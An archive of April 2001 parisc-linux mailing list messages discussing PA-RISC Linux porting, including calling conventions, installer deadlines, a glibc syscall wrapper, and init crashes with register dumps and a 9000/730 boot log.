On 8 Apr 2001, David Wragg wrote:

> Where should I look for details of the assembly language conventions
> used on linux/PARISC (calling conventions, register uses, sequences
> for putting a 32-bit constant into a register, PIC conventions, etc.)?
> 
> The nearest thing I have found is
> <http://devresource.hp.com/STK/toc_ref_details.html#32runtime11>, but
> I'm not sure how much of that carries over to the Linux port.

Most of it regarding register usage and calling conventions.  Some
differences that spring to mind:

o  pa-linux sets all space regs the same (so simpler import stubs for
   shared libs can be used, and export stubs aren't necessary)
o  pa-linux doesn't support argument relocation stubs.  Compile with
   prototypes!
o  section names follow standard ELF naming.

If you want to learn tricks of assembly language programming on parisc,
like loading a 32 bit constant into a reg, take a look at gcc -S
output.  gcc is useful for finding details of calling conventions too.

Alan





From - Thu Nov 08 21:17:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Woody installer for PARISC
Date: Sun, 8 Apr 2001 17:19:37 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010408171937.A19712@parcelfarce.linux.theplanet.co.uk>
References: <20010405155605.D8907@achilles.net> <oa4rw05rsq.fsf@arroz.fake> <20010407232539.S25281@finlandia.infodrom.north.de> <oa1yr34v9a.fsf@arroz.fake>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620010 17675 80.91.229.3 (22 Nov 2014 01:33:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:30 +0000 (UTC)
Cc: Martin Schulze <joey@infodrom.north.de>,
	"Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>,
	debian-boot@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: Adam Di Carlo <adam@onshore.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  8 10:20:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7DC4482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Apr 2001 10:20:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14mHub-0000B3-00; Sun, 08 Apr 2001 17:19:37 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <oa1yr34v9a.fsf@arroz.fake>; from adam@onshore.com on Sun, Apr 08, 2001 at 05:05:05AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10710

On Sun, Apr 08, 2001 at 05:05:05AM -0400, Adam Di Carlo wrote:
> Sounds like they should put their effort in debian-installer then?  If
> they don't even have a basic toolchain and kernel, and boot-floppies
> will be obsoleted by end of year, is it worth it?

we need to have something installable by end of May.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Many experience done on 720, but `init' fails !!
Date: Sun, 08 Apr 2001 19:08:11 +0200
Organization: private
Lines: 67
Approved: news@gmane.org
Message-ID: <3AD09AFB.EBDFF975@dot.at>
References: <3AC90274.4687ED7C@dot.at> <20010403001743.G9198@linuxcare.com> <3AC973D3.F1453A4C@alcatel.at> <20010403223441.A11435@parcelfarce.linux.theplanet.co.uk> <3ACAC867.25327463@alcatel.at> <20010404180518.C11435@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620011 17689 80.91.229.3 (22 Nov 2014 01:33:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:31 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@alcatel.at>,
	Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  8 11:08:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta06.chello.at (viemta06.chello.at [195.34.133.56])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD379482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Apr 2001 11:08:20 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta06.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010408170808.UKVG19423.viemta06@dot.at>;
          Sun, 8 Apr 2001 19:08:08 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10711

A week ago, I reported the problem booting PA-Linux 0.5 with the new
kernel and new selfmade cross tool chain.

The last week I used to experience with cross toolchain setup.
The aim was to find away having "one" glibc-2 for cross development
and for the target (to mount, NFS-ROOT). I also used tricks like
	--prefix=/usr and
	make install install_root=/usr/parisc/target....
but the result and discussion with other showed following:

	There must be TWO glibc trees, one for the cross toolchain,
	the other for the target. The second one is built with the 
	method defining prefix to /usr and install it in a target tree.

SO I build sash, a also build a bash (shared and static !), I build
fileutils, text-utils, shell-utils, etc, etc.....
The system boots with bash and I can mount, run programs, etc....

The I build "my own" startup stuff. A /sbin/init.d/xxx , etc/rc.d/xxx
and so on. I also build a sysvinit-2.78 (and 2.77 before), but the
`init'
has it's problems. The error message is:

VFS: Mounted root (nfs filesystem) readonly.
break 0,0: pid=9 command='init'
init[9]: Breakpoint 0

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 102de010 00000000 00000000
r4-7     00000000 00000000 00000000 00000000
r8-11    00000000 00000000 00000000 00000000
r12-15   00000000 00000000 00000040 1012544c
r16-19   13f085c0 13f08000 c804c804 00000001
r20-23   102efcc0 102efcc0 10022800 102efcc0
r24-27   0000002e 00001000 00000000 1024c010
r28-31   00000000 00000000 13f089c0 101312a0
sr0-3    00000000 00000000 00000000 00000001
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 00000000 00000004
 IIR: 00000000    ISR: 00000000  IOR: 00000000
ORIG_R28: 00000000

How can I follow up the thing ?
Is the GDB of the CVS usable  (for example starting gdbserver init 
instead of init and `target remote' via the second serial interface ?)

By the way: I did a "super hack" in the kernel. In the serial interrupt 
routine, I catch the charcater `^\', filter it for `/dev/ttyS0' and 
do a machine_restart(). This is perfect for development !!

With friendly regards
	Christoph P.






-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Marc Eisenbarth" <Marc_Eisenbarth@baylor.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C180 Progress
Date: Sun, 8 Apr 2001 12:32:56 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <BFEMJCMIKMCDNBPBHLNNKECOCBAA.Marc_Eisenbarth@baylor.edu>
References: <3AD09AFB.EBDFF975@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620011 17690 80.91.229.3 (22 Nov 2014 01:33:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:31 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  8 11:33:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ccis01.baylor.edu (ccis01.baylor.edu [129.62.1.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id D6AC4482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Apr 2001 11:33:06 -0600 (MDT)
Original-Received: from athens (adsl-64-123-132-197.dsl.wacotx.swbell.net [64.123.132.197])
	by ccis01.baylor.edu (8.9.1/8.9.1) with SMTP id MAA1411447
	for <parisc-linux@lists.parisc-linux.org>; Sun, 8 Apr 2001 12:33:05 -0500 (CDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <3AD09AFB.EBDFF975@dot.at>
Xref: news.gmane.org gmane.linux.ports.parisc:10712

What is the statis for a Linux install for an HP C180 Visualize? I tried to
install
0.5, but it seems to hang and will not accept input from the keyboard after
the cd
boots up.

Thanks,
-Marc





From - Thu Nov 08 21:17:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rpc.lockd hangs  (was Re: portmap deb)
Date: Sun, 8 Apr 2001 20:20:46 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20010408202046.B19712@parcelfarce.linux.theplanet.co.uk>
References: <20010406210401.7685C37CDB@carmen.fc.hp.com> <20010407001500.Z9198@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620011 17693 80.91.229.3 (22 Nov 2014 01:33:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:31 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>, randolph@tausq.org,
	lamont@hp.com, debian-buildd@list.parisc-linux.org,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  8 13:34:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F473482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Apr 2001 13:34:08 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14mKju-0002sg-00; Sun, 08 Apr 2001 20:20:46 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010407001500.Z9198@linuxcare.com>; from rhirst@linuxcare.com on Sat, Apr 07, 2001 at 12:15:00AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10713

On Sat, Apr 07, 2001 at 12:15:00AM +0100, Richard Hirst wrote:
> Options (somone who knows the area better than me can correct
> these):
> 
> a) Implement syscall() in glibc - I made an initial stab at that,
> included below, but I didn't get as far as building it.  Not sure
> if my approach was valid for hppa, with some args on stack, etc.
> 
> b) change nfs-common to use the proper glibc wrappers for these
> functions, rather than syscall().
> 
> c) change nfs-common to use INLINE_SYSCALL or something..

Actually I prefer (d) [hands up everyone who's surprised?  :-)]  I
don't see why we should implement syscall in assembler.  After all, that
would be the third implementation :-)  Why not have something along the
lines of:

int syscall(int nr, int arg1, int arg, int arg3, int arg4, int arg5, int arg6)
{
	return INLINE_SYSCALL(nr, arg1, arg2, arg3, arg4, arg5, arg6);
}

I don't have a copy of glibc to hand, so i'm not quite sure on the syntax
of INLINE_SYSCALL.

> I tried a quick hack at (b) and rebuilt.  I didn't get as far as trying
> the new binaries yet, because I was doing this on a 64 bit machine, and...
> both nfsservctl and quotactl are unimplemented on 64 bit :(

Ooops.  Clearly, that needs to get fixed.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jacek Artymiak" <workstations@poczta.onet.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Running Apache on PA-RISC Linux
Date: Sun, 8 Apr 2001 21:43:27 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <002d01c0c064$2ed7c890$05ffa8c0@artymiak8zws8i>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620012 17700 80.91.229.3 (22 Nov 2014 01:33:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:32 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  8 13:42:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ghost1.onet.pl (ghost1.onet.pl [217.97.200.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAD11482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Apr 2001 13:42:47 -0600 (MDT)
Original-Received: from pf105.lublin.sdi.tpnet.pl ([213.77.138.105]:34317 "HELO
	artymiak8zws8i") by ghost1.onet.pl with SMTP id <S180820AbRDHTmJ>;
	Sun, 8 Apr 2001 21:42:09 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Xref: news.gmane.org gmane.linux.ports.parisc:10714

Hi,

I'd like to run Apache/PHP/MySQL under PA-RISC Linux on my HP 712/100.  Is
PA-RISC Linux stable enough to use it for that purpose or should I stick to
HP-UX for now?

Any help would be greatly appreciated.

Jacek



-- 
 




From - Thu Nov 08 21:17:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adam Di Carlo <adam@onshore.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Woody installer for PARISC
Date: 08 Apr 2001 16:58:53 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <oasnjj2jn6.fsf@arroz.fake>
References: <20010405155605.D8907@achilles.net> <oa4rw05rsq.fsf@arroz.fake>
	<20010407232539.S25281@finlandia.infodrom.north.de>
	<oa1yr34v9a.fsf@arroz.fake>
	<20010408171937.A19712@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620012 17701 80.91.229.3 (22 Nov 2014 01:33:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:32 +0000 (UTC)
Cc: Martin Schulze <joey@infodrom.north.de>,
	"Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>,
	debian-boot@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  8 14:58:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from arroz.onshored.com (arroz.onshored.com [216.220.101.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DA2E482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Apr 2001 14:58:32 -0600 (MDT)
Original-Received: from arroz.fake (localhost [127.0.0.1])
	by arroz.onshored.com (Postfix) with ESMTP
	id 0F6E893807; Sun,  8 Apr 2001 16:58:54 -0400 (EDT)
Original-Sender: apharris@burrito.onshore.com
In-Reply-To: <20010408171937.A19712@parcelfarce.linux.theplanet.co.uk>
Original-Lines: 18
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:10715

Matthew Wilcox <matthew@wil.cx> writes:

> On Sun, Apr 08, 2001 at 05:05:05AM -0400, Adam Di Carlo wrote:
> > Sounds like they should put their effort in debian-installer then?  If
> > they don't even have a basic toolchain and kernel, and boot-floppies
> > will be obsoleted by end of year, is it worth it?
> 
> we need to have something installable by end of May.

Ouch.  marketing timelines, eh?  

Well, let me know if anyone who doesn't have an account on
cvs.debian.org need CVS access to the Debian-boot area.  So long as
they are careful to not break other arches or propogate hideous hacks,
its probably best to work directly from CVS.

-- 
.....Adam Di Carlo....adam@onshore.com.....<URL:http://www.onshored.com/>





From - Thu Nov 08 21:17:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Many experiments on 720, but `init' fails !!
Date: Sun, 08 Apr 2001 23:02:40 +0200
Organization: private
Lines: 78
Approved: news@gmane.org
Message-ID: <3AD0D1F0.2B079EAC@dot.at>
References: <3AC90274.4687ED7C@dot.at> <20010403001743.G9198@linuxcare.com> <3AC973D3.F1453A4C@alcatel.at> <20010403223441.A11435@parcelfarce.linux.theplanet.co.uk> <3ACAC867.25327463@alcatel.at> <20010404180518.C11435@parcelfarce.linux.theplanet.co.uk> <3AD09AFB.EBDFF975@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620012 17704 80.91.229.3 (22 Nov 2014 01:33:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:32 +0000 (UTC)
To: Matthew Wilcox <matthew@wil.cx>,
	Christoph Plattner <christoph.plattner@alcatel.at>,
	Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  8 15:02:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta06.chello.at (viemta06.chello.at [195.34.133.56])
	by dsl2.external.hp.com (Postfix) with ESMTP id 13EB3482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Apr 2001 15:02:49 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta06.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010408210237.UWPK19423.viemta06@dot.at>;
          Sun, 8 Apr 2001 23:02:37 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10716

The same happens, if I use the `init' statically linked !



Christoph Plattner wrote:
> 
> A week ago, I reported the problem booting PA-Linux 0.5 with the new
> kernel and new selfmade cross tool chain.
> 
> The last week I used to experience with cross toolchain setup.
> The aim was to find away having "one" glibc-2 for cross development
> and for the target (to mount, NFS-ROOT). I also used tricks like
>         --prefix=/usr and
>         make install install_root=/usr/parisc/target....
> but the result and discussion with other showed following:
> 
>         There must be TWO glibc trees, one for the cross toolchain,
>         the other for the target. The second one is built with the
>         method defining prefix to /usr and install it in a target tree.
> 
> SO I build sash, a also build a bash (shared and static !), I build
> fileutils, text-utils, shell-utils, etc, etc.....
> The system boots with bash and I can mount, run programs, etc....
> 
> The I build "my own" startup stuff. A /sbin/init.d/xxx , etc/rc.d/xxx
> and so on. I also build a sysvinit-2.78 (and 2.77 before), but the
> `init'
> has it's problems. The error message is:
> 
> VFS: Mounted root (nfs filesystem) readonly.
> break 0,0: pid=9 command='init'
> init[9]: Breakpoint 0
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001111
> r0-3     00000000 102de010 00000000 00000000
> r4-7     00000000 00000000 00000000 00000000
> r8-11    00000000 00000000 00000000 00000000
> r12-15   00000000 00000000 00000040 1012544c
> r16-19   13f085c0 13f08000 c804c804 00000001
> r20-23   102efcc0 102efcc0 10022800 102efcc0
> r24-27   0000002e 00001000 00000000 1024c010
> r28-31   00000000 00000000 13f089c0 101312a0
> sr0-3    00000000 00000000 00000000 00000001
> sr4-7    00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 00000000 00000004
>  IIR: 00000000    ISR: 00000000  IOR: 00000000
> ORIG_R28: 00000000
> 
> How can I follow up the thing ?
> Is the GDB of the CVS usable  (for example starting gdbserver init
> instead of init and `target remote' via the second serial interface ?)
> 
> By the way: I did a "super hack" in the kernel. In the serial interrupt
> routine, I catch the charcater `^\', filter it for `/dev/ttyS0' and
> do a machine_restart(). This is perfect for development !!
> 
> With friendly regards
>         Christoph P.
> 
> --
> -------------------------------------------------------------------------
> private:        christoph.plattner@dot.at
> company:        christoph.plattner@alcatel.at
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Arthur" <jeffa@mustain.demon.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Many experiments on 720, but `init' fails !!
Date: Sun, 8 Apr 2001 23:01:43 +0100
Organization: Backroom Industries
Lines: 412
Approved: news@gmane.org
Message-ID: <20010408220239.FGPU290.mta02-svc.ntlworld.com@mustain.demon.co.uk>
Reply-To: jeffa@owlpoo.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/enriched; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416620012 17706 80.91.229.3 (22 Nov 2014 01:33:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  8 16:02:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta02-svc.ntlworld.com (mta02-svc.ntlworld.com [62.253.162.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id 52441482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Apr 2001 16:02:41 -0600 (MDT)
Original-Received: from mustain.demon.co.uk ([62.254.9.34])
          by mta02-svc.ntlworld.com
          (InterMail vM.4.01.02.27 201-229-119-110) with ESMTP
          id <20010408220239.FGPU290.mta02-svc.ntlworld.com@mustain.demon.co.uk>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 8 Apr 2001 23:02:39 +0100
Original-Received: from JEFFA1/SpoolDir by mustain.demon.co.uk (Mercury 1.44);
    8 Apr 01 23:01:45 +0000
Original-Received: from SpoolDir by JEFFA1 (Mercury 1.44); 8 Apr 01 23:01:45 +0000
X-Confirm-Reading-To: jeffa@owlpoo.org
X-pmrqc: 1
Return-Receipt-To: jeffa@owlpoo.org
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.12b)
Xref: news.gmane.org gmane.linux.ports.parisc:10717

<FontFamily><param>Courier New</param>It seems like I have very similar problems with 
a HP apollo series 700 (9000/730)


I have tried many builds, with home built cross 
compilers, downloaded cross compilers, images 
from CDs, downloaded lifs, roots on CDs, 
ramdisks and nfsroots.  booting using rbootd 
over the lan, and off the .iso cd.  I always 
seem to end up with a variation of the


<color><param>0100,0100,0100</param>break 0,0: pid=1 command='init'


problem.


Am keen to help (If I can, though just a lowly 
Sys Admin, not a kernel hack sadly)


P.S. i note that the boot only saw 1 cpu, even 
though the box is reported to be a 3 way, I 
presume this is as SMP is not compliled in by 
default?


here is capture from my console port


(c) Copyright.  Hewlett-Packard Company.  1991.

All rights reserved.


PDC ROM rev. 2.1

IODC ROM rev. 2.1

32 MB of memory configured and tested.



Searching for Potential Boot Devices.

To terminate search, press and hold the ESCAPE key.


Device Selection      Device Path              Device Type

----------------------------------------------------------------------------


P0                    scsi.6.0                 QUANTUM PD425S

P1                    scsi.5.0                 QUANTUM PD425S

P2                    scsi.4.0                 TOSHIBA CD-ROM XM-3701TA

P3                    scsi.2.0                 HP      2213A

P4                    lan.00001c-030853.0.0    burner




b)    Boot from specified device

s)    Search for bootable devices

a)    Enter Boot Administration mode

x)    Exit and continue boot sequence

?)    Help


Select from menu: b


Enter boot selection, (h)elp, or e(x)it: p4

 Trying lan.00001c-030853.0.0

Boot path initialized.

Attempting to load IPL.



Hard booted.

palo ipl root@hetfield Sun Apr  8 19:24:31 UTC 2001

0/vmlinux 2561817 bytes @ 0x6800

0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/ram initrd=0/ramdisk console=ttyS0'

0/ramdisk 870400 bytes @ 0x277f19

Kernel: partition 0 file /vmlinux

Ramdisk: partition 0 file /ramdisk

ELF32 executable

Entry 00100000 first 00100000 n 5

Segment 0 load 00100000 size 1469208 mediaptr 0x1000

Segment 1 load 00268000 size 181976 mediaptr 0x168000

Segment 2 load 00298000 size 222280 mediaptr 0x195000

Segment 3 load 002d0000 size 8192 mediaptr 0x1cc000

Segment 4 load 002fef68 size 74720 mediaptr 0x1cef68

Loading ramdisk 870400 bytes @ 01f1a000...

branching to kernel entry point 0x00100000

PDC Console Initialized

Linux version 2.4.0 (root@hetfield) (gcc version 2.97 20010203 (experimental)) #1 Sun Apr 8 19:16:06 UTC 2001

FP[0] enabled: Rev 3 Model 0

The 32-bit Kernel has started...

Determining PDC firmware type: Older Legacy Box

setup_cmdline(0x64d58,0x64d58,0x1f1a000,0x1fee800)

PALO command line: 'HOME=/ TERM=linux root=/dev/ram console=ttyS0'

PALO initrd 1f1a000-1fee800

model   00002020 00000481 00000000 00000000 3a238470 000011f4 00000004 0000000d 00000000

vers    00000003

CPUID   vers 0 rev 0

model   9000/730

Total Memory: 32 Mb

initrd: 11f1a000-11fee800

pagetable_init

On node 0 totalpages: 8192

zone(0): 8192 pages.

zone(1): 0 pages.

zone(2): 0 pages.

Searching for devices...

Found devices:

1. Coral SGC Graphics (10) at 0xf8000000, versions 0x4, 0x0, 0x77, 0x0, 0x0

2. Cobra Core BA (11) at 0xf082f000, versions 0x4, 0x0, 0x70, 0x0, 0x0

3. Cobra Core SCSI (10) at 0xf0825000, versions 0x4, 0x0, 0x71, 0x0, 0x0

4. Cobra Core LAN (802.3) (10) at 0xf0826000, versions 0x4, 0x0, 0x72, 0x0, 0x0

5. Cobra Core HIL (10) at 0xf0821000, versions 0x4, 0x0, 0x73, 0x0, 0x0

6. Cobra Core RS-232 (10) at 0xf0823000, versions 0x4, 0x0, 0x75, 0x0, 0x0

7. Cobra Core RS-232 (10) at 0xf0822000, versions 0x4, 0x0, 0x75, 0x0, 0x0

8. Cobra Core Centronics (10) at 0xf0824000, versions 0x4, 0x0, 0x74, 0x0, 0x0

9. Cobra EISA BA (11) at 0xfc000000, versions 0x4, 0x0, 0x76, 0x0, 0x0

10. King Cobra (730) (0) at 0xfffbe000, versions 0x202, 0x0, 0x4, 0x0, 0x81

11. Cobra (1) at 0xfffbf000, versions 0x13, 0x0, 0x9, 0x0, 0x0

That's a total of 11 devices.

CPU(s): 1 x PA7000 (PCX-S) at 66.000000 MHz

Kernel command line: HOME=/ TERM=linux root=/dev/ram console=ttyS0

Calibrating delay loop... 65.74 BogoMIPS

Memory: 29156k available

Dentry-cache hash table entries: 4096 (order: 3, 32768 bytes)

Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)

Page-cache hash table entries: 8192 (order: 3, 32768 bytes)

Inode-cache hash table entries: 2048 (order: 2, 16384 bytes)

POSIX conformance testing by UNIFIX

ASP version 1 at 0xf0800000 found.

LED (ASP-style) display at f0800020 registered

Found HIL at 0xf0821000, IRQ 94

HIL: keyboard found at id 0

Found i82596 at 0xf0826000, IRQ 87

early initialization of device eth0 is deferred

Linux NET4.0 for Linux 2.4

Based upon Swansea University Computer Society NET3.039

Starting kswapd v1.8

pty: 256 Unix98 ptys configured

lp: driver loaded but no devices found

RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize

82596.c: MAC of HP700 LAN blindely read from the prom!

eth0: Couldn't get consistent shared memory

eth0: 82596 at 0xf0826000, 08 00 09 19 1B 34 IRQ 87.

82596.c $Revision: 1.17 $

RAMDISK: ext2 filesystem found at block 0

